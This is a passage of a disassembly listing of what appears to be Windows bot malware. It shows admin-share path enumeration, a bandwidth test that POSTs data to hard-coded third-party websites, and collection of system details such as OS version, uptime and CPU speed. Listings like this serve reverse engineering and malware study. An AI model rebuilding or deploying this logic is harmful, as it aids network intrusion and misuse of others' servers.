		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43F298
		jb	short loc_41A321
		nop
		call	near ptr 2850000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4D0884
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_43F588
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_43F560


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43F530
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43F2C8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4D0824
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4D08A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43910C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4D08BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4D08BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43F6D0
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A0B14h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4E0AF0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26E05A1h
		nop
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2680E26h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_4429D8
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26E05A1h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_436B7C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_436B78
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_436B74
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_436B70
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_436B6C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_436B68
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_436B60


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_43D124
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4D0704
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4D0864
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4D07DC
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680ACFh
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43F9C4
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2731461h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2860000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43F8E8
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4D090C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4D06E8
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43FA44
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43FA3C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43FA38


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43FA34
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
